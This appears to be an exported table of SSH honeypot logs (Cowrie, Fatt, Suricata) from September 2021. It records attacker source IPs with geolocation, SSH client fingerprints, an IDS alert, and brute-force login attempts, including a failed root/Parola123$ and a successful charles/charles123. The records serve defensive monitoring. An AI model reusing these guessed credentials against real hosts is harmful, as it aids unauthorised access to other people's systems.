33114	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.613722+03	2021-09-20 15:00:04.331722+03	{"_id": "jwYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "91.231.219.157", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21213769912719727, "duplicate": true, "timestamp": "2021-09-20T11:54:08.613722Z", "@timestamp": "2021-09-20T11:54:08.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33115	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:09.716472+03	2021-09-20 15:00:04.332722+03	{"_id": "kQYOA3wBvYTbRNuEb01j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:09.716472Z", "@timestamp": "2021-09-20T11:54:09.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33116	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:09.609451+03	2021-09-20 15:00:04.333722+03	{"_id": "kgYOA3wBvYTbRNuEb01j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "91.231.219.157", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21141505241394043, "duplicate": true, "timestamp": "2021-09-20T11:54:09.609451Z", "@timestamp": "2021-09-20T11:54:09.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33117	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:09.137808+03	2021-09-20 15:00:04.334722+03	{"_id": "lwYOA3wBvYTbRNuEb01l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "91.231.219.157", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21275734901428223, "duplicate": true, "timestamp": "2021-09-20T11:54:09.137808Z", "@timestamp": "2021-09-20T11:54:09.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33118	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:09.832479+03	2021-09-20 15:00:04.335722+03	{"_id": "mAYOA3wBvYTbRNuEb01l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:09.832479Z", "@timestamp": "2021-09-20T11:54:09.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33119	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:54:29.660804+03	2021-09-20 15:00:04.337722+03	{"_id": "UQYOA3wBvYTbRNuEv079", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48532, "dest_port": 22, "timestamp": "2021-09-20T11:54:29.660804", "@timestamp": "2021-09-20T11:54:29.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33120	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:30.241219+03	2021-09-20 15:00:04.338722+03	{"_id": "VQYOA3wBvYTbRNuEwU5-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "1.116.239.130", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5540764331817627, "duplicate": true, "timestamp": "2021-09-20T11:54:30.241219Z", "@timestamp": "2021-09-20T11:54:30.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33121	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:54:30.537168+03	2021-09-20 15:00:04.339722+03	{"_id": "WAYOA3wBvYTbRNuEwU6A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "1ab1b505d498", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:54:30.537168Z", "@timestamp": "2021-09-20T11:54:30.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33122	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:54:30.809415+03	2021-09-20 15:00:04.340721+03	{"_id": "XQYOA3wBvYTbRNuEw07m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 57315, "dest_port": 22, "timestamp": "2021-09-20T11:54:30.809415", "@timestamp": "2021-09-20T11:54:30.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33123	121.4.68.188	109.199.241.180	Fatt	2021-09-20 14:54:31.548472+03	2021-09-20 15:00:04.341722+03	{"_id": "XAYOA3wBvYTbRNuEw07m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54932, "dest_port": 22, "timestamp": "2021-09-20T11:54:31.548472", "@timestamp": "2021-09-20T11:54:31.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33125	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:54:31.29106+03	2021-09-20 15:00:04.344722+03	{"_id": "ZQYOA3wBvYTbRNuExU5o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [root/Parola123$] failed", "session": "e546630a9ac5", "@version": "1", "password": "Parola123$", "username": "root", "timestamp": "2021-09-20T11:54:31.291060Z", "@timestamp": "2021-09-20T11:54:31.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33126	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:54:31.548472+03	2021-09-20 15:00:04.346721+03	{"_id": "bAYOA3wBvYTbRNuExk7E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:30.962036+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 551067766402548, "payload": "AAADzAYUnRqy+VeELxByXX7FI999xwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54932, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:31.548472Z", "@timestamp": "2021-09-20T11:54:31.548Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........W./.r]~.#.}....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33127	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:32.805522+03	2021-09-20 15:00:04.347722+03	{"_id": "bgYOA3wBvYTbRNuEyU5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.success", "message": "login attempt [charles/charles123] succeeded", "session": "c3d04de9c460", "@version": "1", "password": "charles123", "username": "charles", "timestamp": "2021-09-20T11:54:32.805522Z", "@timestamp": "2021-09-20T11:54:32.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
33128	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:33.366051+03	2021-09-20 15:00:04.348722+03	{"_id": "fwYOA3wBvYTbRNuEzU46", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:55140 (192.168.176.2:22) [session: 00a5d5dc6e14]", "session": "00a5d5dc6e14", "@version": "1", "protocol": "ssh", "src_port": 55140, "dest_port": 22, "timestamp": "2021-09-20T11:54:33.366051Z", "@timestamp": "2021-09-20T11:54:33.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33129	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:33.572291+03	2021-09-20 15:00:04.349721+03	{"_id": "fQYOA3wBvYTbRNuEzU45", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:33.572291Z", "@timestamp": "2021-09-20T11:54:33.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	